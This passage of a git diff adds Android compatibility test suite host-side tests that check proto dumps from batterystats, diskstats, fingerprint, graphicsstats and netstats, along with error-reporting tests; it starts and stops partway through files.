+     * Verifies that the recorded time for the specified tag and name in the test package
+     * is within the specified range.
+     */
+    private void assertValueRange(String tag, String optionalAfterTag,
+            int index, long min, long max) throws Exception {
+        int uid = getUid();
+        long value = getLongValue(uid, tag, optionalAfterTag, index);
+
+        assertTrue("Value " + value + " is less than min " + min, value >= min);
+        assertTrue("Value " + value + " is greater than max " + max, value <= max);
+    }
+
+    /**
+     * Returns a particular long value from a line matched by uid, tag and the optionalAfterTag.
+     */
+    private long getLongValue(int uid, String tag, String optionalAfterTag, int index)
+            throws Exception {
+        String dumpsys = getDevice().executeShellCommand("dumpsys batterystats --checkin");
+        String[] lines = dumpsys.split("\n");
+        long value = 0;
+        if (optionalAfterTag == null) {
+            optionalAfterTag = "";
+        }
+        for (int i = lines.length - 1; i >= 0; i--) {
+            String line = lines[i];
+            if (line.contains(uid + ",l," + tag + "," + optionalAfterTag)
+                    || (!optionalAfterTag.equals("") &&
+                        line.contains(uid + ",l," + tag + ",\"" + optionalAfterTag))) {
+                String[] wlParts = line.split(",");
+                value = Long.parseLong(wlParts[index]);
+            }
+        }
+        return value;
+    }
+
+    /**
+     * Runs a (background) service to perform the given action, and waits for
+     * the device to report that the action has finished (via a logcat message) before returning.
+     * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+     *                    action to perform.
+     * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+     * @return A string, representing a random integer, assigned to this particular request for the
+     *                     device to perform the given action. This value can be used to receive
+     *                     communications via logcat from the device about this action.
+     */
+    private String executeBackground(String actionValue, int maxTimeMs) throws Exception {
+        String requestCode = executeBackground(actionValue);
+        String searchString = getCompletedActionString(actionValue, requestCode);
+        checkLogcatForText(BG_VS_FG_TAG, searchString, maxTimeMs);
+        return requestCode;
+    }
+
+    /**
+     * Runs a (background) service to perform the given action.
+     * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+     *                    action to perform.
+     * @return A string, representing a random integer, assigned to this particular request for the
+      *                     device to perform the given action. This value can be used to receive
+      *                     communications via logcat from the device about this action.
+     */
+    private String executeBackground(String actionValue) throws Exception {
+        allowBackgroundServices();
+        String requestCode = Integer.toString(new Random().nextInt());
+        getDevice().executeShellCommand(String.format(
+                "am startservice -n '%s' -e %s %s -e %s %s",
+                DEVICE_SIDE_BG_SERVICE_COMPONENT,
+                KEY_ACTION, actionValue,
+                KEY_REQUEST_CODE, requestCode));
+        return requestCode;
+    }
+
+    /** Required to successfully start a background service from adb in O. */
+    private void allowBackgroundServices() throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
+    }
+
+    /**
+     * Runs an activity (in the foreground) to perform the given action, and waits
+     * for the device to report that the action has finished (via a logcat message) before returning.
+     * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+     *                    action to perform.
+     * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+     * @return A string, representing a random integer, assigned to this particular request for the
+     *                     device to perform the given action. This value can be used to receive
+     *                     communications via logcat from the device about this action.
+     */
+    private String executeForeground(String actionValue, int maxTimeMs) throws Exception {
+        String requestCode = executeForeground(actionValue);
+        String searchString = getCompletedActionString(actionValue, requestCode);
+        checkLogcatForText(BG_VS_FG_TAG, searchString, maxTimeMs);
+        return requestCode;
+    }
+
+    /**
+     * Runs an activity (in the foreground) to perform the given action.
+     * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+     *                    action to perform.
+     * @return A string, representing a random integer, assigned to this particular request for the
+     *                     device to perform the given action. This value can be used to receive
+     *                     communications via logcat from the device about this action.
+     */
+    private String executeForeground(String actionValue) throws Exception {
+        String requestCode = Integer.toString(new Random().nextInt());
+        getDevice().executeShellCommand(String.format(
+                "am start -n '%s' -e %s %s -e %s %s",
+                DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
+                KEY_ACTION, actionValue,
+                KEY_REQUEST_CODE, requestCode));
+        return requestCode;
+    }
+
+    /**
+     * The string that will be printed in the logcat when the action completes. This needs to be
+     * identical to {@link com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions#tellHostActionFinished}.
+     */
+    private String getCompletedActionString(String actionValue, String requestCode) {
+        return String.format("Completed performing %s for request %s", actionValue, requestCode);
+    }
+
+    /**
+    * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
+    * the given tag.
+    * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
+    * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
+    */
+    private void checkLogcatForText(String logcatTag, String text, int maxTimeMs) {
+        IShellOutputReceiver receiver = new IShellOutputReceiver() {
+            private final StringBuilder mOutputBuffer = new StringBuilder();
+            private final AtomicBoolean mIsCanceled = new AtomicBoolean(false);
+
+            @Override
+            public void addOutput(byte[] data, int offset, int length) {
+                if (!isCancelled()) {
+                    synchronized (mOutputBuffer) {
+                        String s = new String(data, offset, length, Charsets.UTF_8);
+                        mOutputBuffer.append(s);
+                        if (checkBufferForText()) {
+                            mIsCanceled.set(true);
+                        }
+                    }
+                }
+            }
+
+            private boolean checkBufferForText() {
+                if (mOutputBuffer.indexOf(text) > -1) {
+                    return true;
+                } else {
+                    // delete all old data (except the last few chars) since they don't contain text
+                    // (presumably large chunks of data will be added at a time, so this is
+                    // sufficiently efficient.)
+                    int newStart = mOutputBuffer.length() - text.length();
+                    if (newStart > 0) {
+                        mOutputBuffer.delete(0, newStart);
+                    }
+                    return false;
+                }
+            }
+
+            @Override
+            public boolean isCancelled() {
+                return mIsCanceled.get();
+            }
+
+            @Override
+            public void flush() {
+            }
+        };
+
+        try {
+            // Wait for at most maxTimeMs for logcat to display the desired text.
+            getDevice().executeShellCommand(String.format("logcat -s %s -e '%s'", logcatTag, text),
+                    receiver, maxTimeMs, TimeUnit.MILLISECONDS, 0);
+        } catch (com.android.tradefed.device.DeviceNotAvailableException e) {
+            System.err.println(e);
+        }
+    }
+
+    /**
+     * Returns the bytes downloaded for the wifi transfer download tests.
+     * @param requestCode the output of executeForeground() or executeBackground() to identify in
+     *                    the logcat the line associated with the desired download information
+     */
+    private long getDownloadedBytes(String requestCode) throws Exception {
+        String log = getDevice().executeShellCommand(
+                String.format("logcat -d -s BatteryStatsWifiTransferTests -e 'request %s d=\\d+'",
+                        requestCode));
+        String[] lines = log.split("\n");
+        long size = 0;
+        for (int i = lines.length - 1; i >= 0; i--) {
+            String[] parts = lines[i].split("d=");
+            String num = parts[parts.length - 1].trim();
+            if (num.matches("\\d+")) {
+                size = Integer.parseInt(num);
+            }
+        }
+        return size;
+    }
+
+    /** Determine if device is just a TV and is not expected to have proper batterystats. */
+    private boolean isTV() throws Exception {
+        return hasFeature(FEATURE_LEANBACK_ONLY, false);
+    }
+
+    /**
+     * Determines if the device has the given feature.
+     * Prints a warning if its value differs from requiredAnswer.
+     */
+    private boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
+        final String features = getDevice().executeShellCommand("pm list features");
+        boolean hasIt = features.contains(featureName);
+        if (hasIt != requiredAnswer) {
+            LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+                    + featureName);
+        }
+        return hasIt;
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/DiskStatsProtoTest.java b/hostsidetests/incident/src/com/android/server/cts/DiskStatsProtoTest.java
new file mode 100644
index 0000000..19a6a89
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/DiskStatsProtoTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.diskstats.DiskStatsFreeSpaceProto;
+import android.service.diskstats.DiskStatsServiceDumpProto;
+
+/**
+ * Test proto dump of diskstats
+ */
+public class DiskStatsProtoTest extends ProtoDumpTestCase {
+    /**
+     * Test that diskstats dump is reasonable
+     *
+     * @throws Exception
+     */
+    public void testDump() throws Exception {
+        final DiskStatsServiceDumpProto dump = getDump(DiskStatsServiceDumpProto.parser(),
+                "dumpsys diskstats --proto");
+
+        // At least one partition listed
+        assertTrue(dump.getPartitionsFreeSpaceCount() > 0);
+        // Test latency
+        boolean testError = dump.getHasTestError();
+        if (testError) {
+            assertNotNull(dump.getErrorMessage());
+        } else {
+            assertTrue(dump.getWrite512BLatencyMillis() < 100); // Less than 100ms
+        }
+        DiskStatsServiceDumpProto.EncryptionType encryptionType = dump.getEncryption();
+        if ("file".equals(getDevice().getProperty("ro.crypto.type"))) {
+            assertEquals(DiskStatsServiceDumpProto.EncryptionType.ENCRYPTION_FILE_BASED,
+                    encryptionType);
+        }
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/ErrorsTest.java b/hostsidetests/incident/src/com/android/server/cts/ErrorsTest.java
new file mode 100644
index 0000000..f569b3d
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/ErrorsTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts;
+
+/**
+ * Tests error reporting.
+ */
+public class ErrorsTest extends ProtoDumpTestCase {
+    private static final String TAG = "ErrorsTest";
+
+    private static final String DEVICE_SIDE_TEST_APK = "CtsErrorsApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE
+            = "com.android.server.cts.errors";
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+
+        super.tearDown();
+    }
+
+    public void testThrowException() throws Exception {
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".ErrorsTests",
+                "testException");
+    }
+
+    public void testANR() throws Exception {
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".ErrorsTests",
+                "testANR");
+    }
+
+    public void testNativeCrash() throws Exception {
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".ErrorsTests",
+                "testNativeCrash");
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
new file mode 100644
index 0000000..9e32e1c
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.fingerprint.FingerprintActionStatsProto;
+import android.service.fingerprint.FingerprintServiceDumpProto;
+import android.service.fingerprint.FingerprintUserStatsProto;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+
+/**
+ * Test to check that the fingerprint service properly outputs its dump state.
+ */
+public class FingerprintIncidentTest extends ProtoDumpTestCase {
+    /**
+     * Test that no fingerprints are registered.
+     *
+     * @throws Exception
+     */
+    public void testNoneRegistered() throws Exception {
+        // If the device doesn't support fingerprints, then pass.
+        if (!getDevice().hasFeature("android.hardware.fingerprint")) {
+            CLog.d("Bypass as android.hardware.fingerprint is not supported.");
+            return;
+        }
+
+        final FingerprintServiceDumpProto dump =
+                getDump(FingerprintServiceDumpProto.parser(), "dumpsys fingerprint --proto");
+
+        // One of them
+        assertEquals(1, dump.getUsersCount());
+
+        final FingerprintUserStatsProto userStats = dump.getUsers(0);
+        assertEquals(0, userStats.getUserId());
+        assertEquals(0, userStats.getNumFingerprints());
+
+        final FingerprintActionStatsProto normal = userStats.getNormal();
+        assertEquals(0, normal.getAccept());
+        assertEquals(0, normal.getReject());
+        assertEquals(0, normal.getAcquire());
+        assertEquals(0, normal.getLockout());
+
+        final FingerprintActionStatsProto crypto = userStats.getCrypto();
+        assertEquals(0, crypto.getAccept());
+        assertEquals(0, crypto.getReject());
+        assertEquals(0, crypto.getAcquire());
+        assertEquals(0, crypto.getLockout());
+    }
+}
+
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
new file mode 100644
index 0000000..2e04e80
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -0,0 +1,230 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts;
+
+import android.service.GraphicsStatsHistogramBucketProto;
+import android.service.GraphicsStatsJankSummaryProto;
+import android.service.GraphicsStatsProto;
+import android.service.GraphicsStatsServiceDumpProto;
+
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.List;
+
+public class GraphicsStatsValidationTest extends ProtoDumpTestCase {
+    private static final String TAG = "GraphicsStatsValidationTest";
+
+    private static final String DEVICE_SIDE_TEST_APK = "CtsGraphicsStatsApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE
+            = "com.android.server.cts.device.graphicsstats";
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        super.tearDown();
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+        // Ensure that we have a starting point for our stats
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".SimpleDrawFrameTests",
+                "testDrawTenFrames");
+        // Kill to ensure that stats persist/merge across process death
+        killTestApp();
+    }
+
+    public void testBasicDrawFrame() throws Exception {
+        GraphicsStatsProto[] results = runDrawTest("testDrawTenFrames");
+        GraphicsStatsProto statsBefore = results[0];
+        GraphicsStatsProto statsAfter = results[1];
+        GraphicsStatsJankSummaryProto summaryBefore = statsBefore.getSummary();
+        GraphicsStatsJankSummaryProto summaryAfter = statsAfter.getSummary();
+        assertTrue(summaryAfter.getTotalFrames() > summaryBefore.getTotalFrames());
+
+        int frameDelta = summaryAfter.getTotalFrames() - summaryBefore.getTotalFrames();
+        int jankyDelta = summaryAfter.getJankyFrames() - summaryBefore.getJankyFrames();
+        // We expect 11 frames to have been drawn (first frame + the 10 more explicitly requested)
+        assertEquals(11, frameDelta);
+        assertTrue(jankyDelta < 5);
+        int veryJankyDelta = countFramesAbove(statsAfter, 40) - countFramesAbove(statsBefore, 40);
+        // The 1st frame could be >40ms, but nothing after that should be
+        assertTrue(veryJankyDelta <= 1);
+    }
+
+    public void testJankyDrawFrame() throws Exception {
+        GraphicsStatsProto[] results = runDrawTest("testDrawJankyFrames");
+        GraphicsStatsProto statsBefore = results[0];
+        GraphicsStatsProto statsAfter = results[1];
+        GraphicsStatsJankSummaryProto summaryBefore = statsBefore.getSummary();
+        GraphicsStatsJankSummaryProto summaryAfter = statsAfter.getSummary();
+        assertTrue(summaryAfter.getTotalFrames() > summaryBefore.getTotalFrames());
+
+        int frameDelta = summaryAfter.getTotalFrames() - summaryBefore.getTotalFrames();
+        int jankyDelta = summaryAfter.getJankyFrames() - summaryBefore.getJankyFrames();
+        // Test draws 50 frames + 1 initial frame. We expect 40 of them to be janky,
+        // 10 of each of ANIMATION, LAYOUT, RECORD_DRAW, and MISSED_VSYNC
+        assertEquals(51, frameDelta);
+        assertTrue(jankyDelta >= 40);
+        assertTrue(jankyDelta < 45);
+
+        // Although our current stats don't distinguish between ANIMATION, LAYOUT, and RECORD_DRAW
+        // so this will just be slowUi +30
+        int slowUiDelta = summaryAfter.getSlowUiThreadCount() - summaryBefore.getSlowUiThreadCount();
+        assertTrue(slowUiDelta >= 30);
+        int missedVsyncDelta = summaryAfter.getMissedVsyncCount()
+                - summaryBefore.getMissedVsyncCount();
+        assertTrue(missedVsyncDelta >= 10);
+        assertTrue(missedVsyncDelta <= 11);
+
+        int veryJankyDelta = countFramesAbove(statsAfter, 60) - countFramesAbove(statsBefore, 60);
+        // The 1st frame could be >40ms, but nothing after that should be
+        assertTrue(veryJankyDelta <= 1);
+    }
+
+    public void testDaveyDrawFrame() throws Exception {
+        GraphicsStatsProto[] results = runDrawTest("testDrawDaveyFrames");
+        GraphicsStatsProto statsBefore = results[0];
+        GraphicsStatsProto statsAfter = results[1];
+        GraphicsStatsJankSummaryProto summaryBefore = statsBefore.getSummary();
+        GraphicsStatsJankSummaryProto summaryAfter = statsAfter.getSummary();
+        assertTrue(summaryAfter.getTotalFrames() > summaryBefore.getTotalFrames());
+
+        int frameDelta = summaryAfter.getTotalFrames() - summaryBefore.getTotalFrames();
+        int jankyDelta = summaryAfter.getJankyFrames() - summaryBefore.getJankyFrames();
+        // Test draws 40 frames + 1 initial frame. We expect 10 of them to be daveys,
+        // 10 of them to be daveyjrs, and 20 to jank from missed vsync (from the davey/daveyjr prior to it)
+        assertEquals(41, frameDelta);
+        assertTrue(jankyDelta >= 20);
+        assertTrue(jankyDelta < 25);
+
+        int gt150msDelta = countFramesAbove(statsAfter, 150) - countFramesAbove(statsBefore, 150);
+        assertTrue(gt150msDelta >= 20); // 10 davey jrs + 10 daveys + maybe first frame
+        assertTrue(gt150msDelta <= 21);
+        int gt700msDelta = countFramesAbove(statsAfter, 700) - countFramesAbove(statsBefore, 700);
+        assertEquals(10, gt700msDelta); // 10 daveys
+    }
+
+    private GraphicsStatsProto[] runDrawTest(String testName)  throws Exception  {
+        return doRunDrawTest(testName, true);
+    }
+
+    private GraphicsStatsProto[] doRunDrawTest(String testName, boolean canRetry) throws Exception {
+        GraphicsStatsProto statsBefore = fetchStats();
+        assertNotNull(statsBefore);
+        killTestApp();
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".SimpleDrawFrameTests",  testName);
+        killTestApp();
+        GraphicsStatsProto statsAfter = fetchStats();
+        assertNotNull(statsAfter);
+        // If we get extremely unlucky a log rotate might have happened. If so we retry, but only once
+        // It's a failure if this test takes >24 hours such that 2 rotates could happen while running
+        // this test case, or more likely if stats are not being merged/persisted properly
+        if (canRetry) {
+            if (statsBefore.getStatsStart() != statsAfter.getStatsStart()) {
+                return doRunDrawTest(testName, false);
+            }
+        } else {
+            assertEquals(statsBefore.getStatsStart(), statsAfter.getStatsStart());
+        }
+        validate(statsBefore);
+        validate(statsAfter);
+        return new GraphicsStatsProto[] { statsBefore, statsAfter };
+    }
+
+    private void validate(GraphicsStatsProto proto) {
+        assertNotNull(proto.getPackageName());
+        assertFalse(proto.getPackageName().isEmpty());
+        assertTrue(proto.getVersionCode() > 0);
+        assertTrue(proto.getStatsStart() > 0);
+        assertTrue(proto.getStatsEnd() > 0);
+        assertTrue(proto.hasSummary());
+        GraphicsStatsJankSummaryProto summary = proto.getSummary();
+        assertTrue(summary.getTotalFrames() > 0);
+        // Our test app won't produce that many frames, so we can assert this is a realistic
+        // number. We cap it at 1,000,000 in case the test is repeated many, many times in one day
+        assertTrue(summary.getTotalFrames() < 1000000);
+        // We can't generically assert things about the janky frames, so just assert they fall into
+        // valid ranges.
+        assertTrue(summary.getJankyFrames() <= summary.getTotalFrames());
+        assertTrue(summary.getMissedVsyncCount() <= summary.getJankyFrames());
+        assertTrue(summary.getHighInputLatencyCount() <= summary.getJankyFrames());
+        assertTrue(summary.getSlowUiThreadCount() <= summary.getJankyFrames());
+        assertTrue(summary.getSlowBitmapUploadCount() <= summary.getJankyFrames());
+        assertTrue(summary.getSlowDrawCount() <= summary.getJankyFrames());
+        assertTrue(proto.getHistogramCount() > 0);
+
+        int histogramTotal = countTotalFrames(proto);
+        assertEquals(summary.getTotalFrames(), histogramTotal);
+    }
+
+    private int countFramesAbove(GraphicsStatsProto proto, int thresholdMs) {
+        int totalFrames = 0;
+        for (GraphicsStatsHistogramBucketProto bucket : proto.getHistogramList()) {
+            if (bucket.getRenderMillis() >= thresholdMs) {
+                totalFrames += bucket.getFrameCount();
+            }
+        }
+        return totalFrames;
+    }
+
+    private int countTotalFrames(GraphicsStatsProto proto) {
+        return countFramesAbove(proto, 0);
+    }
+
+    private void killTestApp() throws Exception {
+        getDevice().executeShellCommand("am kill " + DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    private GraphicsStatsProto fetchStats() throws Exception {
+        GraphicsStatsServiceDumpProto serviceDumpProto = getDump(GraphicsStatsServiceDumpProto.parser(),
+                "dumpsys graphicsstats --proto");
+        List<GraphicsStatsProto> protos = filterPackage(serviceDumpProto, DEVICE_SIDE_TEST_PACKAGE);
+        return findLatest(protos);
+    }
+
+    private List<GraphicsStatsProto> filterPackage(GraphicsStatsServiceDumpProto dump, String pkgName) {
+        return filterPackage(dump.getStatsList(), pkgName);
+    }
+
+    private List<GraphicsStatsProto> filterPackage(List<GraphicsStatsProto> list, String pkgName) {
+        ArrayList<GraphicsStatsProto> filtered = new ArrayList<>();
+        for (GraphicsStatsProto proto : list) {
+            if (pkgName.equals(proto.getPackageName())) {
+                filtered.add(proto);
+            }
+        }
+        return filtered;
+    }
+
+    private GraphicsStatsProto findLatest(List<GraphicsStatsProto> list) {
+        if (list.size() == 0) { return null; }
+        GraphicsStatsProto latest = list.get(0);
+        Date latestDate = new Date();
+        Date compareTo = new Date();
+        latestDate.setTime(latest.getStatsEnd());
+        for (int i = 1; i < list.size(); i++) {
+            GraphicsStatsProto proto = list.get(i);
+            compareTo.setTime(proto.getStatsEnd());
+            if (compareTo.after(latestDate)) {
+                latestDate.setTime(proto.getStatsEnd());
+                latest = proto;
+            }
+        }
+        return latest;
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
new file mode 100644
index 0000000..397e598
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
@@ -0,0 +1,389 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts;
+
+import android.service.NetworkIdentityProto;
+import android.service.NetworkInterfaceProto;
+import android.service.NetworkStatsCollectionKeyProto;
+import android.service.NetworkStatsCollectionStatsProto;
+import android.service.NetworkStatsHistoryBucketProto;
+import android.service.NetworkStatsHistoryProto;
+import android.service.NetworkStatsRecorderProto;
+import android.service.NetworkStatsServiceDumpProto;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.util.List;
+import java.util.function.Function;
+import java.util.function.Predicate;
+
+/**
+ * Test for "dumpsys netstats --proto"
+ *
+ * Note most of the logic here is just heuristics.
+ *
+ * Usage:
+
+  cts-tradefed run cts --skip-device-info --skip-preconditions \
+      --skip-system-status-check \
+       com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker \
+       -a armeabi-v7a -m CtsIncidentHostTestCases -t com.android.server.cts.NetstatsIncidentTest
+
+ */
+public class NetstatsIncidentTest extends ProtoDumpTestCase {
+    private static final String DEVICE_SIDE_TEST_APK = "CtsNetStatsApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.netstats";
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+
+        super.tearDown();
+    }
+
+
+    private void assertPositive(String name, long value) {
+        if (value > 0) return;
+        fail(name + " expected to be positive, but was: " + value);
+    }
+
+    private void assertNotNegative(String name, long value) {
+        if (value >= 0) return;
+        fail(name + " expected to be zero or positive, but was: " + value);
+    }
+
+    private void assertGreaterOrEqual(long greater, long lesser) {
+        assertTrue("" + greater + " expected to be greater than or equal to " + lesser,
+                greater >= lesser);
+    }
+
+    /**
+     * Parse the output of "dumpsys netstats --proto" and make sure all the values are probable.
+     */
+    public void testSanityCheck() throws Exception {
+
+        final long st = System.currentTimeMillis();
+
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+
+        // Find the package UID.
+        final int uid = Integer.parseInt(execCommandAndGetFirstGroup(
+                "dumpsys package " + DEVICE_SIDE_TEST_PACKAGE, "userId=(\\d+)"));
+
+        CLog.i("Start time: " + st);
+        CLog.i("App UID: " + uid);
+
+        // Run the device side test which makes some network requests.
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, null, null);
+
+        // Make some more activity.
+        getDevice().executeShellCommand("ping -s 100 -c 10 -i 0  www.android.com");
+
+        // Force refresh the output.
+        getDevice().executeShellCommand("dumpsys netstats --poll");
+
+        NetworkStatsServiceDumpProto dump = getDump(NetworkStatsServiceDumpProto.parser(),
+                "dumpsys netstats --proto");
+
+        CLog.d("First dump:\n" + dump.toString());
+
+        // Basic sanity check.
+        checkInterfaces(dump.getActiveInterfacesList());
+        checkInterfaces(dump.getActiveUidInterfacesList());
+
+        checkStats(dump.getDevStats(), /*withUid=*/ false, /*withTag=*/ false);
+        checkStats(dump.getXtStats(), /*withUid=*/ false, /*withTag=*/ false);
+        checkStats(dump.getUidStats(), /*withUid=*/ true, /*withTag=*/ false);
+        checkStats(dump.getUidTagStats(), /*withUid=*/ true, /*withTag=*/ true);
+
+        // Remember the original values.
+        final Predicate<NetworkStatsCollectionKeyProto> uidFilt = key -> key.getUid() == uid;
+        final Predicate<NetworkStatsCollectionKeyProto> tagFilt =
+                key -> (key.getTag() == 123123123) && (key.getUid() == uid);
+
+        final long devRxPackets = sum(dump.getDevStats(), st, b -> b.getRxPackets());
+        final long devRxBytes = sum(dump.getDevStats(), st, b -> b.getRxBytes());
+        final long devTxPackets = sum(dump.getDevStats(), st, b -> b.getTxPackets());
+        final long devTxBytes = sum(dump.getDevStats(), st, b -> b.getTxBytes());
+
+        final long xtRxPackets = sum(dump.getXtStats(), st, b -> b.getRxPackets());
+        final long xtRxBytes = sum(dump.getXtStats(), st, b -> b.getRxBytes());
+        final long xtTxPackets = sum(dump.getXtStats(), st, b -> b.getTxPackets());
+        final long xtTxBytes = sum(dump.getXtStats(), st, b -> b.getTxBytes());
+
+        final long uidRxPackets = sum(dump.getUidStats(), st, uidFilt, b -> b.getRxPackets());
+        final long uidRxBytes = sum(dump.getUidStats(), st, uidFilt, b -> b.getRxBytes());
+        final long uidTxPackets = sum(dump.getUidStats(), st, uidFilt, b -> b.getTxPackets());
+        final long uidTxBytes = sum(dump.getUidStats(), st, uidFilt, b -> b.getTxBytes());
+
+        final long tagRxPackets = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getRxPackets());
+        final long tagRxBytes = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getRxBytes());
+        final long tagTxPackets = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getTxPackets());
+        final long tagTxBytes = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getTxBytes());
+
+        // Run again to make some more activity.
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
+                "com.android.server.cts.netstats.NetstatsDeviceTest",
+                "testDoNetworkWithoutTagging");
+
+        getDevice().executeShellCommand("dumpsys netstats --poll");
+        dump = getDump(NetworkStatsServiceDumpProto.parser(), "dumpsys netstats --proto");
+
+        CLog.d("Second dump:\n" + dump.toString());
+
+        final long devRxPackets2 = sum(dump.getDevStats(), st, b -> b.getRxPackets());
+        final long devRxBytes2 = sum(dump.getDevStats(), st, b -> b.getRxBytes());
+        final long devTxPackets2 = sum(dump.getDevStats(), st, b -> b.getTxPackets());
+        final long devTxBytes2 = sum(dump.getDevStats(), st, b -> b.getTxBytes());
+
+        final long xtRxPackets2 = sum(dump.getXtStats(), st, b -> b.getRxPackets());
+        final long xtRxBytes2 = sum(dump.getXtStats(), st, b -> b.getRxBytes());
+        final long xtTxPackets2 = sum(dump.getXtStats(), st, b -> b.getTxPackets());
